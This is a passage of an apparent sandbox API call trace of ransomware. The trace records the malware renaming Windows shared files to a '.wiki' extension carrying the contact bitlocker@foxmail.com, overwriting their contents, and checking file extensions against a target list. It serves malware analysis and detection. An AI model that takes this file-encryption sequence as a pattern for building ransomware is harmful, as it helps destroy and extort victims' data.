shared\\help\\itircl55.dll")) returned 0x20 [0063.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0063.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.965] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1 [0063.965] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.965] ReadFile (in: hFile=0x200, lpBuffer=0x3760058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3760058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.969] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.969] ReadFile (in: hFile=0x200, lpBuffer=0x37a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37a0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.979] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0063.979] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.979] ReadFile (in: hFile=0x200, lpBuffer=0x37e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.171] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.172] WriteFile (in: hFile=0x200, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0064.193] SetEndOfFile (hFile=0x200) returned 1 [0064.194] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0064.198] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.198] WriteFile (in: hFile=0x200, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.199] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.199] WriteFile (in: hFile=0x200, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.201] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.201] WriteFile (in: hFile=0x200, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.203] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0064.203] CloseHandle (hObject=0x200) returned 1 [0064.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.203] lstrlenW (lpString=".doc") returned 4 [0064.204] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0064.204] lstrlenW (lpString=".docx") returned 5 [0064.204] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0064.204] lstrlenW (lpString=".pdf") returned 4 [0064.204] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0064.204] lstrlenW (lpString=".xls") returned 4 [0064.204] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0064.204] lstrlenW (lpString=".xlsx") returned 5 [0064.204] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0064.204] lstrlenW (lpString=".ppt") returned 4 [0064.204] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0064.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.204] lstrlenW (lpString=".zip") returned 4 [0064.204] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0064.204] lstrlenW (lpString=".rar") returned 4 [0064.204] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0064.204] lstrlenW (lpString=".bz2") returned 4 [0064.204] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0064.204] lstrlenW (lpString=".7z") returned 3 [0064.204] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0064.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.204] lstrlenW (lpString=".dbf") returned 4 [0064.204] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0064.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.204] lstrlenW (lpString=".1cd") returned 4 [0064.204] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0064.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.204] lstrlenW (lpString=".jpg") returned 4 [0064.204] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0064.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.204] lstrlenW (lpString=".doc") returned 4 [0064.204] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0064.204] lstrlenW (lpString=".docx") returned 5 [0064.205] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0064.205] lstrlenW (lpString=".pdf") returned 4 [0064.205] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0064.205] lstrlenW (lpString=".xls") returned 4 [0064.205] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0064.205] lstrlenW (lpString=".xlsx") returned 5 [0064.205] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0064.205] lstrlenW (lpString=".ppt") returned 4 [0064.205] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0064.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.205] lstrlenW (lpString=".zip") returned 4 [0064.205] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0064.205] lstrlenW (lpString=".rar") returned 4 [0064.205] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0064.205] lstrlenW (lpString=".bz2") returned 4 [0064.205] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0064.205] lstrlenW (lpString=".7z") returned 3 [0064.205] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0064.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.205] lstrlenW (lpString=".dbf") returned 4 [0064.205] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0064.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.205] lstrlenW (lpString=".1cd") returned 4 [0064.205] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0064.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0064.205] lstrlenW (lpString=".jpg") returned 4 [0064.205] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0064.205] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.205] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0064.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0064.293] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3584) returned 1 [0064.293] CloseHandle (hObject=0x1f0) returned 1 [0064.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0064.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.294] lstrlenW (lpString=".doc") returned 4 [0064.294] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.294] lstrlenW (lpString=".docx") returned 5 [0064.294] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.294] lstrlenW (lpString=".pdf") returned 4 [0064.294] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.294] lstrlenW (lpString=".xls") returned 4 [0064.294] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.294] lstrlenW (lpString=".xlsx") returned 5 [0064.294] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.294] lstrlenW (lpString=".ppt") returned 4 [0064.294] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.294] lstrlenW (lpString=".zip") returned 4 [0064.294] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.294] lstrlenW (lpString=".rar") returned 4 [0064.294] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.294] lstrlenW (lpString=".bz2") returned 4 [0064.294] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.294] lstrlenW (lpString=".7z") returned 3 [0064.294] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.294] lstrlenW (lpString=".dbf") returned 4 [0064.294] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.295] lstrlenW (lpString=".1cd") returned 4 [0064.295] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.295] lstrlenW (lpString=".jpg") returned 4 [0064.295] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.295] lstrlenW (lpString=".doc") returned 4 [0064.295] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.295] lstrlenW (lpString=".docx") returned 5 [0064.295] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.295] lstrlenW (lpString=".pdf") returned 4 [0064.295] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.295] lstrlenW (lpString=".xls") returned 4 [0064.295] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.295] lstrlenW (lpString=".xlsx") returned 5 [0064.295] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.295] lstrlenW (lpString=".ppt") returned 4 [0064.295] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.295] lstrlenW (lpString=".zip") returned 4 [0064.295] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.295] lstrlenW (lpString=".rar") returned 4 [0064.295] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.295] lstrlenW (lpString=".bz2") returned 4 [0064.295] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.295] lstrlenW (lpString=".7z") returned 3 [0064.295] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.295] lstrlenW (lpString=".dbf") returned 4 [0064.295] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.295] lstrlenW (lpString=".1cd") returned 4 [0064.295] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0064.296] lstrlenW (lpString=".jpg") returned 4 [0064.296] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.296] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.296] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0064.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.556] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4608) returned 1 [0064.556] CloseHandle (hObject=0x1fc) returned 1 [0064.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0064.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.556] lstrlenW (lpString=".doc") returned 4 [0064.556] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.556] lstrlenW (lpString=".docx") returned 5 [0064.556] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.556] lstrlenW (lpString=".pdf") returned 4 [0064.556] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.556] lstrlenW (lpString=".xls") returned 4 [0064.556] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.556] lstrlenW (lpString=".xlsx") returned 5 [0064.556] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.556] lstrlenW (lpString=".ppt") returned 4 [0064.556] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.556] lstrlenW (lpString=".zip") returned 4 [0064.556] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.557] lstrlenW (lpString=".rar") returned 4 [0064.557] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.557] lstrlenW (lpString=".bz2") returned 4 [0064.557] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.557] lstrlenW (lpString=".7z") returned 3 [0064.557] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.557] lstrlenW (lpString=".dbf") returned 4 [0064.557] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.557] lstrlenW (lpString=".1cd") returned 4 [0064.557] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.557] lstrlenW (lpString=".jpg") returned 4 [0064.557] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.557] lstrlenW (lpString=".doc") returned 4 [0064.557] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0064.557] lstrlenW (lpString=".docx") returned 5 [0064.557] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0064.557] lstrlenW (lpString=".pdf") returned 4 [0064.557] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.557] lstrlenW (lpString=".xls") returned 4 [0064.557] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0064.557] lstrlenW (lpString=".xlsx") returned 5 [0064.557] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0064.557] lstrlenW (lpString=".ppt") returned 4 [0064.557] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.557] lstrlenW (lpString=".zip") returned 4 [0064.557] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0064.557] lstrlenW (lpString=".rar") returned 4 [0064.557] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.557] lstrlenW (lpString=".bz2") returned 4 [0064.558] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0064.558] lstrlenW (lpString=".7z") returned 3 [0064.558] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0064.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.558] lstrlenW (lpString=".dbf") returned 4 [0064.558] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0064.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.558] lstrlenW (lpString=".1cd") returned 4 [0064.558] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0064.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0064.558] lstrlenW (lpString=".jpg") returned 4 [0064.558] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0064.558] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0064.558] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0064.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.982] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3584) returned 1 [0065.982] CloseHandle (hObject=0x220) returned 1 [0065.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0065.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.982] lstrlenW (lpString=".doc") returned 4 [0065.982] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0065.982] lstrlenW (lpString=".docx") returned 5 [0065.982] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0065.982] lstrlenW (lpString=".pdf") returned 4 [0065.982] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0065.982] lstrlenW (lpString=".xls") returned 4 [0065.982] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0065.982] lstrlenW (lpString=".xlsx") returned 5 [0065.982] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0065.982] lstrlenW (lpString=".ppt") returned 4 [0065.982] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0065.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.982] lstrlenW (lpString=".zip") returned 4 [0065.982] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0065.983] lstrlenW (lpString=".rar") returned 4 [0065.983] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0065.983] lstrlenW (lpString=".bz2") returned 4 [0065.983] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0065.983] lstrlenW (lpString=".7z") returned 3 [0065.983] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0065.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.983] lstrlenW (lpString=".dbf") returned 4 [0065.983] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0065.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.983] lstrlenW (lpString=".1cd") returned 4 [0065.983] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0065.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.983] lstrlenW (lpString=".jpg") returned 4 [0065.983] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0065.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.983] lstrlenW (lpString=".doc") returned 4 [0065.983] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0065.983] lstrlenW (lpString=".docx") returned 5 [0065.983] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0065.983] lstrlenW (lpString=".pdf") returned 4 [0065.983] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0065.983] lstrlenW (lpString=".xls") returned 4 [0065.983] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0065.983] lstrlenW (lpString=".xlsx") returned 5 [0065.983] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0065.983] lstrlenW (lpString=".ppt") returned 4 [0065.983] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0065.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.983] lstrlenW 